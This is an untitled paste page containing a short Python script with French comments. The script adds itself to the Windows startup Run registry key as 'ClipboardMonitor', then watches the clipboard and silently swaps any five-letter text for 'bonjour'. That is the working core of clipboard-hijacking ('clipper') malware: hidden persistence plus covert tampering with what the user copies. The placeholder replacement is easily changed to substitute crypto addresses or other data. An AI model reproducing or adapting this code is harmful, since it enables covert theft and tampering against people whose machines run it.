Untitled
import os import sys import pyperclip import time import re import winreg def add_to_startup(): # Récupère le chemin complet du fichier .exe en cours d'exécution exe_path = sys.executable # Chemin du registre pour les programmes au démarrage registry_key = r"Software\Microsoft\Windows\CurrentVersion\Run" try: # Ouvre la clé de registre pour modification key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, registry_key, 0, winreg.KEY_SET_VALUE) # Ajoute une valeur de chaîne avec le chemin du fichier .exe winreg.SetValueEx(key, "ClipboardMonitor", 0, winreg.REG_SZ, exe_path) # Ferme la clé de registre winreg.CloseKey(key) print("Ajouté au démarrage avec succès.") except Exception as e: print(f"Erreur lors de l'ajout au démarrage : {e}") def monitor_clipboard(): previous_text = "" while True: # Récupère le contenu actuel du presse-papier current_text = pyperclip.paste() # Si le contenu a changé if current_text != previous_text: previous_text = current_text # Vérifie si le texte contient exactement 5 lettres if re.fullmatch(r"[a-zA-Z]{5}", current_text): # Remplace par "bonjour" pyperclip.copy("bonjour") # Attente pour éviter une utilisation intensive des ressources time.sleep(0.5) if __name__ == "__main__": # Ajoute au démarrage automatiquement add_to_startup() # Lance la surveillance du presse-papier monitor_clipboard()
Leave a Comment